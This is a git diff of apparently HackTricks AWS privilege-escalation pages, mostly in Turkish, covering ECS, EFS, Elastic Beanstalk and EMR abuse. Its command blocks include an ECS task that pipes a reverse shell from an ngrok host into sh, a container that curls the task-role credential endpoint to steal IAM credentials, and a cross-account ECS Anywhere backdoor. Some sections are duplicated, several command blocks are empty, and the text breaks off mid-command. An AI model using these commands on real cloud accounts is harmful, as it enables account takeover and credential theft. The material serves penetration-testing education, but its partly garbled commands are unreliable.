'[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Bir saldırganın **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** izinlerine sahip olması durumunda, çalışan bir container içinde **komut çalıştırabilir** ve buna bağlı IAM rolünü sızdırabilir (describe izinlerine ihtiyacınız vardır çünkü `aws ecs execute-command` çalıştırmak için gereklidir).\ +Ancak, bunu yapabilmek için container instance'ın **ExecuteCommand agent**'ı çalıştırıyor olması gerekir (varsayılan olarak çalışmıyor). + +Bu nedenle, saldırgan şunları deneyebilir: + +- **Her çalışan container'da bir komut çalıştırmayı denemek** +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- Eğer kullanıcının **`ecs:RunTask`** izni varsa, `aws ecs run-task --enable-execute-command [...]` ile bir task çalıştırın +- Eğer kullanıcının **`ecs:StartTask`** izni varsa, `aws ecs start-task --enable-execute-command [...]` ile bir task çalıştırın +- Eğer kullanıcının **`ecs:CreateService`** izni varsa, `aws ecs create-service --enable-execute-command [...]` ile bir service oluşturun +- Eğer kullanıcının **`ecs:UpdateService`** izni varsa, `aws ecs update-service --enable-execute-command [...]` ile bir service güncelleyin + +Bu seçeneklerin örneklerini **önceki ECS privesc bölümlerinde** bulabilirsiniz. + +**Potential Impact:** Konteynerlere atanmış farklı bir role privesc. + +### `ssm:StartSession` + +Bu izni kullanarak **ECS'e privesc** yapmanın ayrıntıları için **ssm privesc sayfasına** bakın: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Bu izinleri kullanarak **ECS'e privesc** yapmanın ayrıntıları için **ec2 privesc sayfasına** bakın: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +Bu izinlere sahip bir saldırgan, potansiyel olarak bir EC2 instance'ını bir ECS cluster'ına kaydedip üzerinde task çalıştırabilir. Bu, saldırganın ECS task'larının bağlamında istediği kodu çalıştırmasına izin verebilir. + +- TODO: Farklı bir AWS hesabından bir instance kaydetmek ve böylece task'ların saldırganın kontrolündeki makinelerde çalıştırılmasını sağlamak mümkün mü?? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Test this + +Bu izinlere sahip bir saldırgan, mevcut bir ECS servisi için kötü amaçlı bir task set oluşturabilir ve primary task set'i güncelleyebilir. Bu, saldırganın servis içinde istediği kodu çalıştırmasına olanak tanır. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Potansiyel Etki**: Etkilenen serviste rastgele kod çalıştırma, servis işlevselliğini etkileyebilir veya hassas verileri sızdırabilir. + +## Referanslar + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +ECS capacity providers'ı yönetme ve servisleri güncelleme izinlerine sahip bir saldırgan, kontrol ettiği bir EC2 Auto Scaling Group oluşturabilir, bunu bir ECS Capacity Provider içine sarıp hedef cluster'a iliştirip mağdur servisi bu provider'ı kullanacak şekilde taşıyabilir. Böylece tasks saldırgan kontrolündeki EC2 instances üzerine planlanır; bu, konteynerleri OS seviyesinde inceleme ve task role credentials çalma imkanı sağlar. + +Komutlar (us-east-1): + +- Önkoşullar + + + +- Hedef cluster'a katılacak ECS agent için bir Launch Template oluşturun + + + +- Auto Scaling Group oluşturun + + + +- ASG'den bir Capacity Provider oluşturun + + + +- Capacity Provider'ı cluster'a iliştirin (isteğe bağlı olarak varsayılan olarak) + + + +- Bir servisi sağlayıcınıza taşıyın + + + +- Tasks'ın saldırgan instance'larına düştüğünü doğrulayın + + + +- Opsiyonel: EC2 node'dan, docker exec ile hedef konteynerlere girip http://169.254.170.2 adresini okuyarak task role credentials elde edin. + +- Temizleme + + + +**Potansiyel Etki:** Saldırgan kontrolündeki EC2 node'lar mağdur tasks'ı çalıştırır; bu, konteynerlere OS-seviyesinde erişim ve task IAM role credential'larının çalınmasına olanak verir. + + +
+Aşama aşama komutlar (kopyala/yapıştır) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+
+
+ +### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration + +ECS Anywhere'ı kötüye kullanarak saldırgan kontrolündeki bir hostu, mağdurun ECS cluster'ında EXTERNAL container instance olarak kaydedip o host üzerinde privileged task ve execution role'ları kullanarak tasks çalıştırabilirsiniz. Bu, tasks'ın nerede çalıştığı üzerinde OS-seviyesinde kontrol (kendi makineniz) sağlar ve capacity providers veya ASGs ile uğraşmadan tasks ve eklenen volume'lardan credential/veri hırsızlığına izin verir. + +- Gerekli izinler (örnek minimal): +- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask +- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation +- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles) +- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs) + +- Etki: Seçilen taskRoleArn ile saldırgan hostunda rastgele container'lar çalıştırın; task-role credential'lerini 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI üzerinden çıkartın; task'lar tarafından bağlanan volume'lara erişin; capacity providers/ASGs manipülasyonundan daha gizli. + +Adımlar + +1) Cluster oluşturun/tespit edin (us-east-1) +```bash +aws ecs create-cluster --cluster-name ht-ecs-anywhere +``` +2) ECS Anywhere rolü oluşturun ve SSM aktivasyonu (on-prem/EXTERNAL instance için) +```bash +aws iam create-role --role-name ecsAnywhereRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore +aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role +ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole) +ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode) +``` +3) Saldırgan hostu sağla ve otomatik olarak EXTERNAL olarak kaydet (örnek: küçük AL2 EC2 “on‑prem” olarak) + +
+user-data.sh +```bash +#!/bin/bash +set -euxo pipefail +amazon-linux-extras enable docker || true +yum install -y docker curl jq +systemctl enable --now docker +curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" +chmod +x /root/ecs-anywhere-install.sh +/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 +``` +
+```bash +AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) +IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ +--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) +aws ec2 wait instance-status-ok --instance-ids $IID +``` +4) EXTERNAL container instance'in katıldığını doğrulayın +```bash +aws ecs list-container-instances --cluster ht-ecs-anywhere +aws ecs describe-container-instances --cluster ht-ecs-anywhere \ +--container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' +# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external +``` +5) task/execution rolleri oluşturun, EXTERNAL task definition'ı kaydedin ve bunu attacker host üzerinde çalıştırın +```bash +# roles +aws iam create-role --role-name ht-ecs-task-exec \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy +aws iam create-role --role-name ht-ecs-task-role \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +# attach any privileges you want to abuse to this task role + +# task def (EXTERNAL launch) +cat > td-external.json << 'JSON' +{ +"family": "ht-external", +"requiresCompatibilities": [ "EXTERNAL" ], +"networkMode": "bridge", +"memory": "256", +"cpu": "128", +"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec", +"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role", +"containerDefinitions": [ +{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"], +"memory": 128, +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}} +} +] +} +JSON +aws logs create-log-group --log-group-name /ht/ecs/anywhere || true +aws ecs register-task-definition --cli-input-json file://td-external.json +CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text) +aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \ +--container-instances $CI +``` +6) Buradan görevleri çalıştıran host üzerinde kontrol sağlarsınız. task logs'u (eğer awslogs ise) okuyabilir veya doğrudan host üzerinde exec yaparak görevlerinizden kimlik bilgilerini/veriyi exfiltrate edebilirsiniz. + + + +#### Komut örneği (yer tutucular) + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +An attacker with permissions to manage ECS capacity providers and update services can create an EC2 Auto Scaling Group they control, wrap it in an ECS Capacity Provider, associate it to the target cluster, and migrate a victim service to use this provider. Tasks will then be scheduled onto attacker-controlled EC2 instances, allowing OS-level access to inspect containers and steal task role credentials. + +Commands (us-east-1): + +- Önkoşullar + + + +- ECS agent'in target cluster'a katılması için Launch Template oluşturun + + + +- Auto Scaling Group oluşturun + + + +- ASG'den bir Capacity Provider oluşturun + + + +- Capacity Provider'ı cluster'a ilişkilendirin (isteğe bağlı olarak varsayılan olarak) + + + +- Bir service'i provider'ınıza taşıyın + + + +- Tasks'in attacker instance'lara düştüğünü doğrulayın + + + +- İsteğe bağlı: EC2 node'undan docker exec ile target containers'a girin ve task role credentials elde etmek için http://169.254.170.2 adresini okuyun. + +- Temizlik + + + +**Olası Etki:** Attacker-controlled EC2 nodes victim tasks alır; bu durum containerlara OS-level erişim ve task IAM role credentials'ın çalınmasına olanak sağlar. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md deleted file mode 100644 index 63459c7cb..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ /dev/null @@ -1,86 +0,0 @@ -# AWS - EFS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Daha fazla **EFS hakkında bilgi** için: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -Bir EFS'yi bağlamak için, EFS'nin açık olduğu bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir. - -### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` - -Bu izinlerden herhangi biriyle bir saldırgan **dosya sistemi politikasını** **değiştirerek** size **erişim verebilir** veya sadece **silerek** **varsayılan erişimi** sağlayabilir. - -Politikayı silmek için: -```bash -aws efs delete-file-system-policy \ ---file-system-id -``` -Değiştirmek için: -```json -aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json - -// Give everyone trying to mount it read, write and root access -// policy.json: -{ -"Version": "2012-10-17", -"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", -"Statement": [ -{ -"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": [ -"elasticfilesystem:ClientRootAccess", -"elasticfilesystem:ClientWrite", -"elasticfilesystem:ClientMount" -], -"Condition": { -"Bool": { -"elasticfilesystem:AccessedViaMountTarget": "true" -} -} -} -] -} -``` -### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` - -Bu izinle bir saldırgan **EFS'yi monte edebilir**. Eğer yazma izni, EFS'yi monte edebilen herkes için varsayılan olarak verilmemişse, yalnızca **okuma erişimine** sahip olacaktır. -```bash -sudo mkdir /efs -sudo mount -t efs -o tls,iam :/ /efs/ -``` -`elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite` ek izinleri, dosya sistemi monte edildikten sonra içinde **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir. - -**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. - -### `elasticfilesystem:CreateMountTarget` - -Eğer bir saldırgan **alt ağda** ise ve EFS'nin **hiçbir montaj hedefi** yoksa, bu yetkiyle **kendi alt ağında bir tane oluşturabilir**. -```bash -# You need to indicate security groups that will grant the user access to port 2049 -aws efs create-mount-target --file-system-id \ ---subnet-id \ ---security-groups -``` -**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. - -### `elasticfilesystem:ModifyMountTargetSecurityGroups` - -Bir saldırganın EFS'nin alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:** -```bash -aws efs modify-mount-target-security-groups \ ---mount-target-id \ ---security-groups -``` -**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı ayrıcalık yükseltme. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md new file mode 100644 index 000000000..45ea49879 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md @@ -0,0 +1,86 @@ +# AWS - EFS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +EFS hakkında daha fazla **bilgi**: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +Bir EFS'i mount edebilmek için, EFS'in açık olduğu bir alt ağda olmanız ve ona erişiminiz (security groups) olması gerektiğini unutmayın. Bu şartlar sağlanıyorsa, varsayılan olarak her zaman mount edebilirsiniz; ancak EFS IAM policies ile korunuyorsa, erişim için burada bahsedilen ek izinlere sahip olmalısınız. + +### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` + +Bu izinlerden herhangi biriyle bir saldırgan, dosya sistemi politikasını **değiştirerek** size erişim **verebilir**, veya sadece politikayı **silerek** **varsayılan erişimin** verilmesini sağlayabilir. + +Dosya sistemi politikasını silmek için: +```bash +aws efs delete-file-system-policy \ +--file-system-id +``` +Bunu değiştirmek için: +```json +aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json + +// Give everyone trying to mount it read, write and root access +// policy.json: +{ +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] +} +``` +### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` + +Bu izinle bir saldırgan **mount the EFS** yapabilecektir. Eğer yazma izni, EFS'i mount edebilen herkese varsayılan olarak verilmemişse, saldırganın yalnızca **okuma erişimi** olur. +```bash +sudo mkdir /efs +sudo mount -t efs -o tls,iam :/ /efs/ +``` +Ek izinler `elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite`, dosya sistemi mount edildikten sonra içine **yazmak** ve o dosya sistemine **root olarak erişmek** için kullanılabilir. + +**Olası Etki:** Dosya sisteminde hassas bilgileri bularak dolaylı privesc. + +### `elasticfilesystem:CreateMountTarget` + +Eğer bir saldırgan, EFS için herhangi bir **mount target**'ın olmadığı bir **subnetwork** içindeyse, bu izinle kendi **subnet**'ine **bir tane oluşturabilir**: +```bash +# You need to indicate security groups that will grant the user access to port 2049 +aws efs create-mount-target --file-system-id \ +--subnet-id \ +--security-groups +``` +**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bularak dolaylı privesc. + +### `elasticfilesystem:ModifyMountTargetSecurityGroups` + +Bir senaryoda, saldırgan EFS'in kendi alt ağında bir mount target olduğunu ancak **hiçbir security group trafiğe izin vermiyor** olduğunu fark ederse, bunu sadece **seçili security group'ları değiştirerek** yapabilir: +```bash +aws efs modify-mount-target-security-groups \ +--mount-target-id \ +--security-groups +``` +**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bularak dolaylı privesc. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md similarity index 65% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index b6ed35d0d..26f358728 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -1,21 +1,21 @@ # AWS - Elastic Beanstalk Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -Daha fazla **Elastic Beanstalk hakkında bilgi** için: +Elastic Beanstalk hakkında daha fazla **bilgi** için: {{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md +../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Beanstalk'ta hassas eylemler gerçekleştirmek için **birçok farklı hizmette çok sayıda hassas izne** sahip olmanız gerekecek. Örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** iznini kontrol edebilirsiniz. +> Beanstalk'ta hassas eylemler gerçekleştirebilmek için birçok farklı serviste çok sayıda hassas izne sahip olmanız gerekir. Örneğin **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ile verilen izinleri kontrol edebilirsiniz. -### `elasticbeanstalk:RebuildEnvironment`, S3 yazma izinleri ve daha fazlası +### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others -**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etmek** için izinler (gerekli olan `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç tane daha) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır. +Ortamın **code**'unu içeren S3 bucket üzerinde **yazma izinleri** ve uygulamayı **yeniden oluşturma** izinlerine sahip olduğunuzda (`elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç ek izin gereklidir), **code**'u **değiştirebilir**, uygulamayı **yeniden oluşturabilir** ve uygulamaya bir sonraki erişiminizde **yeni code**'unuz çalıştırılacaktır; bu da saldırganın uygulamayı ve uygulamanın IAM rolünün kimlik bilgilerini ele geçirmesine olanak tanır. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,25 +30,25 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` ve daha fazlası... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, ve daha fazlası... -Bahsedilenler ve birkaç **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** ve **`elasticloadbalancing`** izni, sıfırdan bir ham Elastic Beanstalk senaryosu oluşturmak için gereklidir. +Bahsedilenlerin yanı sıra birkaç **`S3`**, **`EC2`**, **`cloudformation`**, **`autoscaling`** ve **`elasticloadbalancing`** izni, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir. -- AWS Elastic Beanstalk uygulaması oluşturun: +- Bir AWS Elastic Beanstalk uygulaması oluşturun: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Bir AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Bir AWS Elastic Beanstalk ortamı oluşturun ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**. +Bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**. -- Uygulama kodunuzu ve bağımlılıklarını bir ZIP dosyasına paketleyin: +- Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin: ```python zip -r MyApp.zip . ``` -- ZIP dosyasını bir S3 kovasına yükleyin: +- ZIP dosyasını bir S3 bucket'a yükleyin: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Öncelikle, **önceki adımları** takip ederek **kurban** üzerinde çalıştırmak istediğiniz **kod** ile **geçerli bir Beanstalk ortamı** oluşturmanız gerekiyor. Potansiyel olarak bu **2 dosyayı** içeren basit bir **zip**: +Her şeyden önce, önceki adımları takip ederek **victim** üzerinde çalıştırmak istediğiniz **kod** ile bir **legit Beanstalk environment** oluşturmanız gerekiyor. Muhtemelen şu **2 dosyayı** içeren basit bir **zip**: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **kurbanın erişebilmesi** için **güncellemeniz** gerekiyor (Bu, Bucket'ı **HERKES** için **açacaktır**): +Kendi **Beanstalk env**'inizde rev shell'iniz çalışır hale geldiğinde, onu **hedef** env'e **taşımak** zamanı. Bunu yapmak için kendi Beanstalk S3 bucket'ınızın **Bucket Policy**'sini güncellemeniz gerekiyor, böylece **hedef erişebilsin** (Bu, Bucket'ı **HERKES**'e **açacaktır**): ```json { "Version": "2008-10-17", @@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index 00a335db9..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Daha fazla **EMR hakkında bilgi** için: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -Bu izinlere sahip bir saldırgan **EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir** ve kimlik bilgilerini çalmaya çalışabilir.\ -Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya bir tane ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > 